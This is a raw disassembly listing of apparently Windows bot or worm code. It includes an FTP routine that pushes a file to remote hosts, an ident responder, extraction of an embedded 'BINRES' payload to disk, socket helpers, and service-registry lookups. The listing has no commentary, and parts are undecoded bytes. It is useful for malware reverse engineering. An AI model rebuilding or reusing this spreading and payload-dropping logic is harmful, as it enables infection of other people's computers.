test cl, cl
jz short loc_41F0CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44767F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_447988
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60A5
call sub_401848
add esp, 28h
loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej
lea ecx, [esp+58h+arg_0]
call sub_401424
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C5D
push eax
call sub_4015EB
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014C9
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FBE
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401861
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016AE
push offset asc_444098 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017E4
push eax
call ebx ; dword_50FB08
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call sub_5EA1BD
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; dword_50FC8C
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401A8C
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017E4
push eax
call near ptr 77C3F010h
nop
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F595
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F595
push 2
push 0
push edi
nop
call near ptr 77C4139Ch
push edi
nop
call near ptr 77C41574h
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
call near ptr 77C411FBh
nop
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F513
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; dword_50FC8C
cmp edi, 1000h
jz short loc_41F4C0
loc_41F513: ; CODE XREF: sub_41EF30+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_447DE8
test cl, cl
mov eax, edx
jz short loc_41F57C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_447988
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60A5
call sub_401848
add esp, 2Ch
loc_41F57C: ; CODE XREF: sub_41EF30+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
call near ptr 77C40AB1h
nop
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F595: ; CODE XREF: sub_41EF30+55Bj
; sub_41EF30+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; dword_50FC8C
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; dword_50FC8C
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F636: ; CODE XREF: sub_41EF30+109j
push 9C4h
loc_41F63B: ; CODE XREF: sub_41EF30+E8j
call near ptr 28402DAh
nop
loc_41F641: ; CODE XREF: sub_41EF30+140j
mov al, byte_4E6E74
test al, al
jnz loc_41F002
pop ebp
pop ebx
loc_41F650: ; CODE XREF: sub_41EF30+BEj
mov eax, [edi+15h]
push eax
nop
call near ptr 71AB9639h
loc_41F65A: ; CODE XREF: sub_41EF30+82j
; sub_41EF30+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41EF30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F860 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F89D
mov byte_4E6EC9, 0
jmp loc_41FA01
; ---------------------------------------------------------------------------
loc_41F89D: ; CODE XREF: sub_41F860+2Fj
mov cl, byte_4472AB
xor ebx, ebx
cmp cl, bl
mov byte_4E6EC9, 1
jnz loc_41F9F4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_401FEB
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41F9E7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_401424
mov [esp+0A0h+var_4], ebx
call sub_401EEC
mov esi, dword_50FABC
call esi ; dword_50FABC
cdq
mov ecx, 3
push offset byte_446F60
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015D7
cmp edi, ebx
jle short loc_41F966
loc_41F90A: ; CODE XREF: sub_41F860+104j
lea ecx, [esp+9Ch+var_60]
call sub_401424
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FBE
call esi ; dword_50FABC
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_443E74
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41F90A
loc_41F966: ; CODE XREF: sub_41F860+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_40146F
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017E4
push eax
push 71h
call esi ; dword_50FABC
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
nop
call sub_5EA1BD
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_50FC88
push ebp
call esi ; dword_50FC88
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; dword_50FC88
mov byte_4E6EC9, bl
pop edi
jmp short loc_41F9FE
; ---------------------------------------------------------------------------
loc_41F9E7: ; CODE XREF: sub_41F860+67j
push 7D0h
call near ptr 28402DAh
nop
jmp short loc_41FA01
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F860+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_50FC88
loc_41F9FE: ; CODE XREF: sub_41F860+185j
push ebp
call esi ; dword_50FC88
loc_41FA01: ; CODE XREF: sub_41F860+38j
; sub_41F860+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F860 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FA90 proc near ; CODE XREF: sub_401ABEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FACB
dec eax
jz short loc_41FAB4
dec eax
jnz short loc_41FAF1
mov ecx, dword_50BB58
mov dword_50BB3C, 4
call sub_401DCA
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FAB4: ; CODE XREF: sub_41FA90+8j
mov ecx, dword_50BB58
mov dword_50BB3C, 7
call sub_401028
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FACB: ; CODE XREF: sub_41FA90+5j
mov ecx, dword_50BB58
xor eax, eax
mov dword_50BB44, eax
mov dword_50BB3C, 1
mov dword_50BB4C, eax
mov dword_50BB50, eax
call sub_401744
loc_41FAF1: ; CODE XREF: sub_41FA90+Bj
; sub_41FA90+22j ...
mov eax, dword_50BB5C
push offset dword_50BB38
push eax
mov dword_50BB3C, 4
nop
call near ptr 29006FFh
retn 4
sub_41FA90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FB30: ; CODE XREF: ___:loc_401956j
push esi
xor esi, esi
push offset sub_401ABE
mov ecx, offset byte_44793F
mov dword_50BB38, 20h
mov dword_50BB3C, 2
mov dword_50BB40, 3
mov dword_50BB44, esi
mov dword_50BB48, esi
mov dword_50BB4C, esi
mov dword_50BB50, esi
call sub_4017E4
push eax
nop
call near ptr 290040Dh
cmp eax, esi
mov dword_50BB5C, eax
jz short loc_41FBAA
push offset dword_50BB38
push eax
mov dword_50BB3C, 4
mov dword_50BB4C, esi
mov dword_50BB50, esi
nop
call near ptr 29006FFh
loc_41FBAA: ; CODE XREF: ___:0041FB86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E068
mov eax, esi
pop esi
retn
sub_41FBD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FC00 proc near ; CODE XREF: sub_401CDFj
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50BB58, ecx
push 100h
mov ecx, offset byte_44793F
call sub_4017E4
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401956
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 2900000h
xor eax, eax
add esp, 110h
retn
sub_41FC00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: ___:00401C30j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FCA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCA2: ; CODE XREF: ___:0041FC9Aj
mov ecx, [esp+18h]
push ecx
call near ptr 2891D7Dh
nop
mov esi, eax
test esi, esi
jnz short loc_41FCB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCB9: ; CODE XREF: ___:0041FCB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
call near ptr 279060Eh
nop
mov edi, eax
test edi, edi
jnz short loc_41FCDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCDC: ; CODE XREF: ___:0041FCD4j
push ebp
push edi
push esi
call near ptr 27A0000h
nop
push edi
push esi
mov ebp, eax
nop
call near ptr 27A0375h
push ebp
mov esi, eax
nop
call near ptr 27A06A2h
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
nop
call near ptr 77C40AB1h
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD50 proc near ; CODE XREF: sub_40187Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41FD78
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_41FD71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD71: ; CODE XREF: sub_41FD50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FD78: ; CODE XREF: sub_41FD50+Fj
pop esi
retn
sub_41FD50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_401A8Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FDAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FDAE: ; CODE XREF: sub_41FD90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40187F
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FE0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE0A: ; CODE XREF: sub_41FD90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40197Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FE6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE6E: ; CODE XREF: sub_41FE50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FEC0
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jz short loc_41FF24
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_41FF27
loc_41FF24: ; CODE XREF: sub_41FEF0+14j
or eax, 0FFFFFFFFh
loc_41FF27: ; CODE XREF: sub_41FEF0+32j
pop esi
add esp, 10h
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41FF76
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF76
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF79
loc_41FF76: ; CODE XREF: sub_41FF40+8j
; sub_41FF40+1Aj
or eax, 0FFFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FF40+34j
pop edi
pop esi
retn
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41FF90 proc near ; CODE XREF: sub_4015FAj
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_436840
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_436FC0
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41FFC3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FF90+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42008D
push ebx
mov ebx, dword_50F874
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41FFE5: ; CODE XREF: sub_41FF90+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx ; dword_50F874
mov esi, eax
test esi, esi
jz short loc_420077
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_436FBA
; ---------------------------------------------------------------------------
dd 3C74C085h, 1C24548Bh, 20244C8Dh, 10468h, 56525100h
dd 16F6BE8h, 24848B00h, 1128h, 20244C8Dh, 0F3E85150h, 90778261h
dd 8508C483h, 500D75C0h, 0FF96E856h, 0C690022Eh, 1132444h
dd 89E89056h
; ---------------------------------------------------------------------------
inc dword ptr [edx+2]
loc_420077: ; CODE XREF: sub_41FF90+8Cj
mov eax, [esp+14h]
add ebp, 4
dec eax
mov [esp+14h], eax
jnz loc_41FFE5
pop edi
pop esi
pop ebp
pop ebx
loc_42008D: ; CODE XREF: sub_41FF90+3Aj
mov al, [esp+3]
add esp, 1114h
retn
sub_41FF90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200F0 proc near ; CODE XREF: sub_4019FBj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4200F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401861
push eax
mov [esp+464h+var_4], 0
call sub_401E8D
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42026A
lea ecx, [esp+460h+var_43C]
call sub_401424
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_401681
push eax
push 80000002h
nop
call near ptr 2940000h
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
nop
call near ptr 28F0000h
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_50F9AC
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_443AF4 ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
nop
call near ptr 760976AFh
lea ecx, [esp+4A4h+var_490]
call near ptr 7608B84Ch
nop
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23D0598h, 14244C8Dh
dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42026A: ; CODE XREF: sub_4200F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4200F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401E8Dj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 29108F0h
mov ebx, eax
test ebx, ebx
jnz short loc_420325
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420325: ; CODE XREF: sub_420300+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push ebx
nop
call near ptr 28B02FFh
mov esi, eax
test esi, esi
jnz short loc_420350
push ebx
nop
call near ptr 2920000h
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
